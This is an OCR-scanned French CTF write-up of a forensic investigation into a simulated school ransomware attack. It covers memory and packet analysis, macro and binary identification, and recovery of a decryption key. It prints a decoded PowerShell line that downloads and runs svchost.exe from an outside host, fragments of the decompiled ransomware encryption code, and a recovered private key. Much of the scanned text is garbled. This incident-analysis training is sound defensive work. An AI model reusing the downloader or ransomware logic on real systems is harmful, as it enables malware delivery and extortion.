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Rappel du cadrage

Contexte

Vous venez tout juste d’étre embauché en tant qu’analyste forensique dans le CERT
ESDCorp, I'une des écoles dont vous surveillez les réseaux a été frappé par un
Ransomware.

Selon la direction de I'école, un fichier critique permettant de renouveler la
certification RNCP du diplome a été chiffré !

En effet, depuis quelques jours les attaques de ransomware semblent cibler
particulierement les secteurs liés a I'éducation.

Le niveau de l'attaquant qui est présumé responsable de cette attaque semble

assez faible et votre manager espére que 'attaquant aura fait des erreurs vous
permettant de parvenir a déchiffrer les fichiers

Chain of Custody

Chain of Custody en investigation forensic est un processus qui assure l'intégrité et la
tracabilité des preuves numériques de leur collecte a leur présentation.

Elle documente chaque manipulation des preuves, incluant qui les a collectées, quand,
comment et ou elles ont été stockées.

Ce processus est essentiel pour garantir 'admissibilité des preuves en justice et prévenir
toute altération qui pourrait compromettre leur fiabilité.

Acquisition

L'acquisition des données implique la collecte d'informations de maniére rigoureuse pour
garantir qu'elles sont représentatives de la réalité sans modification

De ce fait, les données ont été fournies par I'équipe du CERT ESDCorp, garantissant leur
intégrité et leur authenticité dés la source.

Préservation
Pour préserver les données, j'ai utilisé une machine virtuelle sous Kali Linux.
Cette configuration permet d'utiliser des outils spécialisés tels que Wireshark et Volatility.

Pour garantir que les artefacts restent authentiques et non altérés, je vérifie la valeur du
hash MD5.

ZIP contenant les éléments ci-dessous (infected.zip) Oclld4déabeaa80lacad2/cacafb8400
Dump mémoire (dump.raw) 7708f8b427f3f4399d76e4fbdc5dffc7
secret.zip.encrypted (fichier chiffré) db5c3c3b82e431bbl6a3dci3facc82a2
Capture réseau (capture.pcapng) 2d63728280a0e4a95f46f68d21f3bdd?
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Réalisation

[0C identifiées

IOC,Indicator of Compromise (=indicateur de compromission), est un indice ou un
artefact utilisé pour détecter des signes de compromission dans un systeme

informatique.

Cela peut étre une signature viral, une adresse IP ou méme un hash de fichier

malveillant.

Informations du systéme a analyser

Nom de 1’héte:

Nom du systéeme d’exploitation:

Version du systéme:

Fabricant du systeme d’exploitation:
Configuration du systeme d’exploitation:
Type de version du systéme d’exploitation:
Propriétaire enregistré:

Organisation enregistrée:

Identificateur de produit:

Date d’installation originale:

Heure de démarrage du systéme:

Fabricant du systeme:

Modéle du systéme:

Type du systéme:

Processeur(s):

AuthenticAMD ~3793 MHz
Version du BIOS:
Répertoire Windows:

WINe1

Microsoft Windows 10 Professionnel
19.0.19045 N/A version 19045
Microsoft Corporation

Station de travail membre
Multiprocessor Free

windows

00330-80000-00000-AA583

02/06/2022, 23:44:06

30/10/2022, 23:50:28

innotek GmbH

VirtualBox

x64-based PC

1 processeur(s) installé(s).

[01] : AMD64 Family 25 Model 33 Stepping ©

innotek GmbH VirtualBox, ©1/12/2006
C:\Windows

Etant donné que nous avons un dump d'une machine Windows et des informations sur le
systéme, j'utilise I'outil Volatility pour obtenir un ensemble d'informations, a partir

desquelles je peux extraire des I0C.

En examinant les processus présents dans le dump, j'ai identifié deux processus

suspects.

Tout d'abord, le processus avec I'ID 4312,

nommé CV.docm.

qui exécute WINWORD.EXE avec un fichier

Le nom et I'extension du fichier suggérent qu'il pourrait s'agir d'un processus illégitime,

possiblement une macro malveillante fonctionnant en arriére-plan.

Dans un second temps, le service nommé svchost.exe, qui semble légitime, est présent.
Cependant, le fait que ce programme soit situé dans un chemin de destination semblant
trés suspect et indique une possible activité malveillante,
c:\users\windows\appdata\local\temp\svchost.exe.
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L’idée est simple : l'attaquant vise @ masquer son attaque en usurpant le nom du
processus légitime svchost.exe, qu'il utilise pour se faire passer pour un service essentiel
du systeme.

Maintenant que nous savons qu'il est nécessaire de dumper le fichier nommé CV.docm,
je vais le récupérer pour en extraire le code source.

Une fois cela fait, voici I'ensemble des chaines de caractéres extraites du processus
associé a winword.exe.

AHMAdgBjAGA gBLAHgAZQAADSATAAOAES UAJAAUAF CAZQB{AEMAD ABp AGUAD gBOACK AL gBE
3SAGE AYWBhAC kAL QBMAHI ALWBZAHY AYw OAC ACQACABhAHQAaAADADS ATABTAHQAYQBYAHQAL QBQAHT Abw

La commande « powershell -w hidden -enc » attire mon attention, car elle indique la
présence d'un payload encodé.

Il est facile de décoder ce payload en utilisant I'outil CyberChef pour retrouver la forme
initiale du code.

Operations Recipe ~Qoma Input + O3] 8 =
pABWAGEAdABGADBATAB1AGA AdgABAHQABQBWAC SATEBC AHMACEB JAGEADWBZAHQAL ZB1AHEAZQAT ADSATAAOAE AAZQB3ACOATW

decode tex From Base64 ~
BiAGOAZQBJAHQAIABOAGUACAAUAF CAZQBiIAEMARABPAGUAbEBRACKALEBEAGBACWE bwWBhAGQAREZBPAGWAZQACACCARABE

Decode tex Alphabet AHQACAAGACBALWEAHMAZAB jAHKAY gBLAHIACWE LAGHAJQBYAGKAABS AGEAYWBhAGQAZQBLAGKAL ZBMAHIALWBZAHYAYWBOAG

: A-7a-20-9+/= M EACWBEACIAZQBAAGUAIWASACQACABhAHQAIAARADSATABTAHQAYQBY AHQALQBOAH L AbWE JAGUACWB ZACAALQBGAGKALABLAF A

YQBEAGEATAAKAHAAYQBAAGEA

Favourites * @ & “ &

Remove non-alphabet chars D Strict mode

Data format

Encryption / Encoding Decode text

Public Key Encoding
UTF-16LE (1200)
Arithmetic / Logic

Networking
Language mr 416 = 1 Tr Raw Bytes & LF
Utils Output %] |_|:| [ I
Date / Time $path=fenv:tmp+"\svchost.exe"; (New-Object
Net.WebClient).DownloadFile( 'http://esdcybersecurityacademi.fr/svchost.exe’ ,Spath); Start-Pracess
-FilePath $path
Extractors P

En lien avec la capture Wireshark fournie lors de I'enquéte, nous pouvons clairement
observer la trace réseau correspondant a ce téléchargement. Cela confirme que le fichier
malveillant svchost.exe a été récupéré depuis I'URL spécifiée.

No. Time Source Destination Protocol Length Info

6285 37.151030 182.168.1.230 192.168.1.4 HTTP 141 GET /svchost.exe HTTP/1.1
12101 37.183893 192.168.1.4 192.168.1.230 1221 HTTP/1.0 200 OK (application/x-msdos-program)

Wireshark - Packet 6285 . capture.pcapng

Frame 6285: 141 bytes on wire (1128 bits), 141 bytes captured (1128 bits) on interface \Device\NPF_{B1AD6B1:
Ethernet II, Src: PcsCompu_c3 44 (08:00:2 44), Dst: PcsCompu_31:81:b6 (88:00:27:31:81:b6)

Internet Protocol Version 4, Src: 192 1 192.168.1.4
Transmission Control Protocol, Src Port: 49852, Dst Port: 80, Seq: 1, Ack: 1, Len: 87
Hypertext Transfer Protocol

Host: esdcybersecurityacademi.fr\r\n

Connection: Keep-Alive\r\n

Ar\n

[HTTP request 1/1]

Désormais, on comprend que le fichier CV.docm en cours d'exécution contient un code
PowerShell encodé qui télécharge et exécute un fichier malveillant nommé svchost.exe.
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En creusant dans les processus, svchost.exe pid 8076 charge une dIl se nommant
python.

~/Desktop/artefacts
/volatility3/vol.py dump.raw win

Ox7ffe36010000an0x3c1000ishe 37 .¢ Es \wi cal\Temp\_MEI31202 37.d11 2022-10-30 16:25:44.000000 UTC Disablec
0x7ffe36a20000 0xf000 C: s ~ MEI31202 3.0LL 2022-10-30 16:25:44.000000 UTC Disabled

Identifications des malwares

Comme mentionné précédemment, nous avons identifié deux processus potentiellement
malveillants.

Le premier est cv.docm, un downloader qui, lorsqu'il est ouvert, active une macro qui
télécharge et exécute un fichier exécutable. Comme observé dans la capture Wireshark,
le fichier téléchargé est svchost.exe.

Le second processus suspect est ce méme svchost.exe, qui utilise la technique du
Masquerading en usurpant un processus légitime, bien que ses actions soient
malveillantes, utilisant notamment une dll illégitime se nommant python.

Malware du fichier CV

Apres avoir effectué un dump du processus malveillant lié a cv.docm, j'ai récupéré le
fichier cv.docm pour en extraire et comparer son hash sur la plateforme VirusTotal.
Cela m'a permis d'évaluer la gravité du fichier et de déterminer sa nature malveillante.

/Desktop$ cv/ doc
file.@xd10e5bd05bb0.0xd10e58feb750.DataSectionObject.CV. .dat
file.@xd10e5bd05bb0.0xd10e59d95260.SharedCacheMap.CV. .vach

sktop$ cv/file.0xd10e5bd05bb0.0xd10e58feb750.DataSectionObject.CV.docm.dat
cff487bbclee5fdc3c cv/file.0xd10e5bd05bb0.0xd10e58feb750.DataSectionObject.CV.docm.dat

42 (D 42/67 security vendors flagged this file as malicious C' Reanalyze = Similar~  More v
/67
0d0082216663d1679e6fca6f73b5769917e6bsesdedbe3ae6ds3fbd32f0533dd Size Last Analysis Date
file.0xd 10e5bd05bb0.0xd 10e58feb750. Data SectionObject.CV.docm.dat 196.00 KB amomentago bocx
Community doex auto-open hide-app  macros  powershell
Score
DETECTION DETAILS RELATIONS BEHAVIOR C COMMUNITY 5

Join our Community and enjoy additional community insights and crowdsourced detections, plus an APl key to automate checks.

+ Codeinsights

The macro defines an "AutoOpen" subroutine, which executes automatically upon document apening. It first sets a constant variable "HIDDEN_WINDOW" to 1. Subsequently, it obtains an object reference to the
"Win32_ProcessStartup" WMI class. A new process is then created with the "ShowWindow" property set to "HIDDEN_WINDOW," indicating an attempt to conceal the process from the user. The created process is
"powershell" with arguments indicating a script to be executed. The script itself is encoded with Base64 encoding.

Crowdsourced Al © ~

A\ Hispasec flags this file as malicious
Y The macro code provided exhibits several signs of malicious intent:

Show more

Popular threat label () downloader.emod|dr/powershell Threat categories downloader  trojan Family labels emodldr  powershell  leonem

https://www.virustotal.com/gui/file/0d0082216663d1e79e6fc46f73b5769917e6b8e8de9be3ae6d53fbd32f0533dd
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TTP CV.docm

Avec l'outil MITRE ATT&CK Navigator on peut créer notre contexte, ici un exemple pour
le malware cv.docm.

Cette analyse permet d'améliorer la détection des menaces en utilisant les techniques
MITRE ATT&CK.

En utilisant ce cadre comme référence, les investigateurs, comme nous, peuvent
améliorer leur posture de sécurité en se concentrant sur les techniques les plus
pertinentes pour leurs environnements et en proposant des stratégies de réponse ciblées
aux clients.

Malware du service svchost.exe

Pour analyser la potentielle malveillance, comme avec le fichier précédent, je vais
extraire le fichier svchost.exe, récupérer son hash, et le vérifier sur VirusTotal.

Wireshark - Export - HTTP object list

Text Filter: Content Type: All Content-Types ~
g Sourci . =
— T SR
12101 37.183893 192.. 12101 esdcybersecurityacademi.fr applicationfx-msdos-program 8,188 kB svchost.exe

+ Frame 12101: 1221 bytes o
v Ethernet II, Src: PcsComp
on

01 = Heade
erentiated Servic
0000 008.. = Different
8oaa 00 = Explicit
Total Length: 1287 Save All Close Help
- 0x9edd
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svchost.exe

svChost.exe

48 (D 48/75 security vendors flagged this file as malicious C Reanalyze == Similar~  More v
/75
437e0d18e60998bd0236dd5da5637a90ec3b6887f1eb25e6557a2354dc96404b Size Last Analysis Date 9
svchost (copie 1).exe 7.81MB 18 days ago EXE
Community peexe overlay 64bits checks-network-adapters detect-debug-environment
Score
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 3

| Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label (D) trojan.python/filerepmalware Threat categories trojan  ransomware  pua Family labels python  filerepmalware  misc

Security vendors' analysis Do you want to automate checks?

Alibaba @ Trojan:Win32/Filecoder.c732dc9a AlYac @ Trojan.GenerickD.67193031

https://www.virustotal.com/gui/file/437e0d18e60998bd0236dd5da5637a90ec3b6887fleb25e6557a2354dc96404hb

TTP de svchost.exe

Comme précédemment, voici une visualisation avec MITRE ATT&CK qui offre une vue
détaillée des différentes attaques et techniques associées a cet exécutable.

Initial Access i Escalation Defense Evasion Credential Access
13 17 tachriques

niques 2 q 14 tachniques
Content Injection i unt Manipulation || A ry-in-the
BITS Jo
]
ot or Logan
" Audio Copture
Autamateel
Collection
- Wipe
are fed ep . o 2 n Browser Sessian o
an Thra n e nt Denial of

Phishing wer Ex iz Forge Wieb Creclentisls

Input Capture

k Deniat

urce Hijacking

orm/Rebact

m
Image

Process Injection

iuled

Videa

Procass Injaction
Reflective Code Loading

oller
Evasion
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Plan d’actions correctives

Maintenant que nous avons identifié le script Python comme responsable du ransomware
et l'avons extrait du dump.

Je peux utiliser l'outil pyinstxtractor pour décompiler I'exécutable .exe, afin d’obtenir le
code source.

Cela me permettra d’entamer un travail de reverse engineering et peut-étre de découvrir
la clé de déchiffrement pour tous les fichiers locks.

~/Desktop/artefacts
.. /test/pyinstxtractor/pyinstxtractor.py svchost.exe
Processing svchost.exe
Pyinstaller version: 2.1+
Python version: 3.7
Length of package: 7867311 bytes
Found 38 files in CArchive

Beginning extraction ... please standby
Possible entry point: pyiboot@1_bootstrap.pyc

Possible entry point: pyi_rth_inspect.pyc

Possible entry point: pyi_rth_subprocess.pyc

Possible entry point: encrypt.pyc

Warning: This script is running in a different Python version than the one used to build the executable.
Please run this script in Python 3.7 to prevent extraction errors during unmarshalling

Skipping pyz extraction

Successfully extracted pyinstaller archive: svchost.exe

can now use a python decompiler on the pyc files within the extracted directory

Voici le code source complet du ransomware.
En examinant de plus prés nous voyons que le ransomware, par son essence possede
une clé privée et clé publique.

Je vais maintenant rechercher toutes les occurrences potentielles dans le dump a la
recherche éventuelle d'une clé laissée en clair sur la machine.

~/Desktop/artefacts/svchost.exe_extracted
encrypt.pyc
# uncompyle6 version 3.9.2
# Python bytecode version base 3.7.0 (3394)
# Decompiled from: Python 3.11.4 (main, Jun . 10:13:09) [GCC 12.2.0]
# Embedded file name: ransomware\encrypt.py
from os import path, walk, rename
import cryptography
from cryptography.fernet import Fernet
import requests
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import utils, padding
import base64, time

def generate_secret_key():
key = Fernet.generate_key()
return key

encrypt_secret_key(public_key, secret_key):

public_key_bytes = serialization.load_pem_public_key(public_key.encode())

encrypted_secret_key = public_key_bytes.encrypt(secret_key, padding.OAEP(mgf=padding.MGF1(algorithm=(hashes.SHA256())),
algorithm=(hashes.SHA256()),
label=None))

encrypted_secret_key = base64.b64encode(encrypted_secret_key)

return encrypted_secret_key

f encrypt_file(file, public_key):
errors = []

e_secret_key()
encrypt_secret_key(public_key, key)
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Bingo ! En cherchant dans le dump, nous avons trouvé une clé privée. Il est maintenant
nécessaire de la faire correspondre avec la clé publique pour récupérer le mot de passe
du fichier zip.

&1 PRIVATE KEY
MITEogIBAAKCAQEAYHS5WquT1lubJInFX8PHeUztSpYW02f3Qe7VkgE jfPBu4k43r
JbZqzo831aJIMPr LCDUYm+PH01wnF01+dL\tW?Tq\%\ManNYmenAf +CmB/hyEy
abbvfpzOAcpOPv/xhX4qPSnvhPX201F/7Nm3XpmgcNtAopFDQz JPEWCFWxmP5qWV
wy9z2f5b3Js5AyZu@aPSADXTloaAcAsUHLSHzZ31VRUOGXV j7uVIdCxypAQOraZWej
gqa3qu61OcFalGSQlethIOFuvIUpr”jhch¢D7YVEIrda’c;gWUdprnleO
glmPqC15/h6fOWUXTi81jzYID7s thaAcLmowQIDAQABAOIBAGNDRJZUSJASgdt5
OuDzI7+wdtEDI1TtCLNnaX21G+1iy4w+KPa4Sy jvUNWBu9K61jgGmC/sqGM1DxBTqiQ
RfTMYgwXC5s573j+b31yFYOG2uLSQxLIVD/QWjZH7qBV4HGP6ENKkcQFAmOEX2VFY +
wDwCWp5dWIaFCP9nKGOdA7/+LggIXmISDSIXKkBol6RGLpMgDs fwSxf4Y8k4RXIc
ellThFtYOPzznifqzJcQfsB91Yh9ncf5F8/NiCRE2gTENYVGjr96,/cKIl4lan5uZ
96jq7uSgCe@wumlLDYXztamhNkbn+qPz fWgROAHBGpOBSCFKVeRtIX1eHKpT/jEoI
113yGzB8CgYEA1Dz jLdhN8rkt96mHr/XagqqS1DrFpDgSWXwa@WHo7KBLhsFfXFQhe
8KVwzNrGRDwY /wRLBdPj4bZaaGDz+J4wwgcXVPTHcp6Tpjcm/TMMx1ANB2QYZUdf
DgU940nYwaFpo+GL1XU/LyY0504iMFKNhTsdriwbKiSTaBw3+LJP1218CgYEASdWE
2YBhM@DtFTauU193z9JLHwrnz/hHyiYrnDUAc2aIEK5Cjp2upnonSD18CIIJUgLHN
Obmb3Jq@BCcrEHi6bT41I7ptOroXu+@Gsf7GUp31iJxyaQplCv10gFDb3BxnEOudqU
MwzDRAXqg9akuUBZHbNvikFjIMCkvrmlwl3Yz0cCgYBXqVI4NBh2AbCPO9D8h8Kqg
thXO7594/0 ALvgs4nNkobvbEilI1D8enjtxAsSUfRNGLVYC13bc5NB+5GphcVD
zuP/Lh9XI1J+29baagADEWfwPpKo+mKzz0OKTGZsS1xWoH+JhqgzP75tFSWglLpP1Z
IOKtxYAwWRgqUEVEDKkRWCZWKBgB+nNOZLGW3d960pIL5C+451j9v6/uaobrh2BowC
IkSSIj2ZhvIo82CeS5XHBmB8Qvkukpr/wsQSxUy29ep0DWdNmgPHOOWWz+dtNIO@3T
boO1lEVORxgkeMoWJg0/VgIF61tSYuYEdEIncXxF9RPupIc+GhVN4hxNpQpL+aCQpT
REeNAoGASY2NOLB8kWxWnuborlfgFvjWNLcLOft1LE/PDuKPbnRM/AGHbNrL jjoV
HhpoY3CbwboKpeUabcZNugXPQG8RcO4QTPxXxASX59Px65RLRHaoEL63aHNIS78D8tv
cKfZdTtvfgzUFfP9IdgXhiRQtxttZMV2NBgiukYZutIQ@RYsbG8=

END RSA PRIVATE KEY
WpS4g8Ekd
zXb, W8
Bay; {
string. txt
/BEGIN RSA

Comme l'indique le code, une ligne esd_issou_esd est inscrite juste avant la clé de
chiffrement publique, qui ici est encodé en base64.

Désormais il nous reste plus qu’a faire correspondre avec la clé privée afin de récupérer
le secret nécessaire au déchiffrement de I'archive.

dmyWSfKoVm9XYwdjajg0Ztaxal81DZqZDgV6YDG4LT2YHPISRO7uRUNDMWDPY2526_Bx4020ITbr84Z0bfh6 fUA! ET6MkVA-VW6QnUGFoR9u4wReRn-11uEXg= oXvpZ8jzYL5Bf
2WJpJpBSm56Q61eFIFwj+TiZadpneEl po3+ws2uorJo/5sUr xQerl .” Wi S5xYBS8DLw434FS1173Usk 3xTDM7KkzOPu GQk6kROJ

xTwF ¥rHUW+TvPc90Q1sRCaSprmM2DfC2MKo2 jX/tOXmE
95PU70eHL8/q9xSYBbg=
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Une fois de plus, en utilisant I'outil CyberChef, nous avons pu extraire le secret dans la
zone de sortie.

Operations Recipe ~om3 Input +O3 e =

Ej et mEsle oXvpZ8jzY15BF2WIpIpBSm56Q61eFIFwj+TiZadpneE17xc3Xpo3+ws2uorlo/5sUrv]1540Znt31iHz/reFCxQerlpzUdzke /A
y/aMyg8LdwWeT/4982MDZK5xYBS8DLwa34FS1173UskL1293xTDM7KkzOPU3tC3GQk6kROIXTWF3hckuD82TaewwrHUW+TvPC90
Q1sRCaSprM2DFC2ZMKo2X/tOXmEZeQmZSeQ/ sItVFYVmEBgFOVEWB7afXGEjiZndcq2luoloF Tgps4Dykfoud@sE+Z9QmF/BkD
81F5B2tZEUGGkzTYYUU1hMiGR47y095PU78eHL 8/ q9xSYBbg==

from base Remove non-alphabet chars

From Base .

RSA Decrypt -~

From Base3? .
RSA Private Key (PEM)

BEGIN RSA PRIVATE KEY-----

From Base45

Q A £ v}
02f3Qe7VkgE fPBu4k43r
From Base58 Jbzgzo831aIMPrL SbUYm+PHo lwnfOl+dCYtWZTqVIWyM

ZEONYmNXDA/ s+EmB/ hyEY,
abbvfpz0Acp@Pv/xhX4gPSsnvhPX2@1F /7Nm3Xpmgcht

A e AopFD0Z IPEWC FlixmP 5 Gy
Wy 972215031524y LUPRSADXTI0aAcASWHLSHZALYBYO
From Base64 GXVI7uV]dCxypAOraZile]

5923qIverdctalGs85z2zhY10fuvIUXwplihcaA+DzY
YELrda/sseylidpxhnk Lo

From Baseds a1nPaC1s/neFONUXTI 8T 12107 5hERaACIQWQIDACA
BAOTBAGNDRIZU8SX58dt >

From Base92 Q Nax21G+iyv4u+kPadsyivuNWgus e 346 = 2 Tr Raw Bytes €= CRLF (detected)
§$$%3' XCos73 b}qu%oez 1S TVD/QWiZHZgB

Favourites * 3 E\F gaalt Vzv_,_ R QUIZHZaRY Output B0 m:
WOWC S AW TAFCPONKGOdATZ/ +L a2 IXmISPSIXKKBOLER

Data format GLpMeDsTwSxFAY8KARXT C qI5skIgmstfpGCChWA_S@jK2abwahazlQLI-gEcel_8=

ellThEtYOPzznitqzJcQfsBI1YhIncfSE8/NiCRE28T

NVVGTRg6/ ckildlansuz

Encryption / Encoding 96797usgCedwunl DYXz tamhNkbn+gPzfWqROAHBGHOB
_SCFKVeRtJXleHKQT/ kol

Public Key 113yGz8CeYEAIDZILANNBrktoemtn/ Xaaqas1RnEpRes

WXwaBHoZKBLhsFfXFOhe

Grace a un script, nous avons pu déchiffrer I'archive et accéder a toutes les ressources
gu'elle contenait.

GNU mano 7.2 script.py
cryptography.fernet Fernet

Fernet(key)
open('secret.zip.encrypted’', 'rb') encr_file:

encrypted_data = encr_file.read()

decrypted_data = chiffre.decrypt(encrypted_data)
open( "'secret.zip', 'wb') decrypted_file:
dﬂcr*pted_File.write[decrvpted_dataI

nt(f"Erreur

~/Desktop/artefacts
script.py

~/Desktop/artefacts
secret.zip
EEETEt.EiD
[A]ll, [N]one, [r]lename: A
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Conclusion

Deux flags s'y trouvaient, marquant la conclusion de l'investigation.

Quand tu as la haine parce que tu n'arrive pas a flag
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